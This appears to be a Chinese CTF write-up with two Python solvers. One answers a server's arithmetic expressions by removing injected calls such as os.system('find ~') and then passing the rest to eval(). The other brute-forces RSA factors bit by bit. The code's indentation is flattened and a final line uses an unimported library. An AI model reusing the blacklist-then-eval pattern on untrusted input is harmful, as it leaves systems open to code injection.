本题为python脚本编写题目，nc对面的端口，对面发来一些表达式，需要再规定时间内计算出这些表达式，并且将计算结果返回到对面。解出来之后发现是30s内算100道表达式。服务器从第50道题之后开始发一些不正规的表达式，这时候需要将里面的一些东西替换为0，具体看代码。
结果：
python代码：
#!/usr/bin/env python2
# -*- coding: UTF-8 -*- from socket import*
import socket
import re
HOST = '202.38.95.46' # The remote host
PORT = 12009 # The same port as used by the server
s = None
def RRR(shizi):
xxxx=str(shizi)
xxxx = xxxx.replace(r"__import__('time').sleep(100)",'0')
xxxx = xxxx.replace(r"__import__('os').system('find ~')", '0')
xxxx = xxxx.replace(r"exit()",'0')
xxxx = xxxx.replace(r"print('\x1b\x5b\x33\x3b\x4a\x1b\x5b\x48\x1b\x5b\x32\x4a')",'0')
print(xxxx)
t = str(eval(xxxx)) + '\n'
print(t)
b1 = t.encode(encoding='utf-8')
print(b1)
return b1
sock = socket.socket()
sock.connect((HOST,PORT))
szBuf = sock.recv(1024)
print(szBuf)
x=0
while 1:
x=x+1
print('--------------------第'+str(x)+'轮-------------------')
szBuf = sock.recv(1024)
print(szBuf)
b1=RRR(szBuf)
sock.send(b1)
# Z同学的RSA
本题比赛的时候没有解出来，后期看官方wp，发现是低位爆破。刚开始学crypto,还不咋会，解题代码：
#!/usr/bin/env python2
#coding=utf-8
import gmpy2
import codecs
a=20177650286553319048656572431426864683972322616537528728644836950907654167144961938429509778926505938147163259147328872178897507791522569632637628576826135964471897661414351261453774090509205324220367785291196302551202990322952833839519685942136552490589504983264090018782888509594899124308485994909369157739590678421913334422763356613026472743079024933233557565198057398238454462971661266735075199307328588913060033329742394868127944469289321187036511972057975816136466581904044150309083660596527476198646767207896234322280486096803109351478982849399252765905154625449629131202246956928879278104313464399748896654335
b=-20177650286553319048656572431426864683972322616537528728644836950907654167144961938429509778926505938147163259147328872178897507791522569632637628576826135964471897661414351261453774090509205324220367785291196302551202990322952833839519685942136552490589504983264090018782888509594899124308485994909369157739690798236942786515359420891819523078078001184938002588184640997371794236705658312351156161124668283889171041058024858239408724965303885485356611059740480075879221661858319606783376958758348179998879989787088907672913468336293174408246405953882533580841784122100084676690051777413318254860735992696612183461891
c=13366903717795173429187761381567634048063984815133198408928503123602872647318097072713914639532980123537673828080136443096769208675278048903846468093331645356496756288494505939828792144555809683756644579691988377803769792505153509199204570978899052097185497377390921828391436597604626534413078392906362225675998274015504081511064143613477551873256333146732640157434336327576006467405800870704016822007754775192350360613102361780884075519253676949699170275909029570177548059093617965631063061181238396995096224186949430603966487712969428525308725462401758888441403291459307185920723957045088801754933390532219059494721
f1 = lambda p, q: (p * q) ^ (p + q)
f2 = lambda p, q: (p * q) ^ (p - q)
candidates = {(0, 0)}
def run(m):#b2s
m=hex(m)[2:]
if len(m)%2==1:
m='0'+m
print(codecs.decode(m,'hex_codec'))
for m in range(1025):
print(m, len(candidates))
candidates_ = set()
mask = (2 << m) - 1
for x, y in candidates:
if f1(x, y) == a and f2(x, y) == b:
p, q = x, y
d = gmpy2.invert(65537, (p - 1) * (q - 1))#计算私钥
m = pow(c, d, p * q)#计算明文
run(m)
exit()
for bx in range(2):
for by in range(2):
xx = x + (bx << m)
yy = y + (by << m)
if f1(xx, yy) & mask != a & mask:
continue
if f2(xx, yy) & mask != b & mask:
continue
candidates_.add((xx, yy))
candidates = candidates_
print libnum.b2s(int(46327402297749971590423845809525539212404427397452776326201243339568645242122)) | 社区文章 |
Subsets and Splits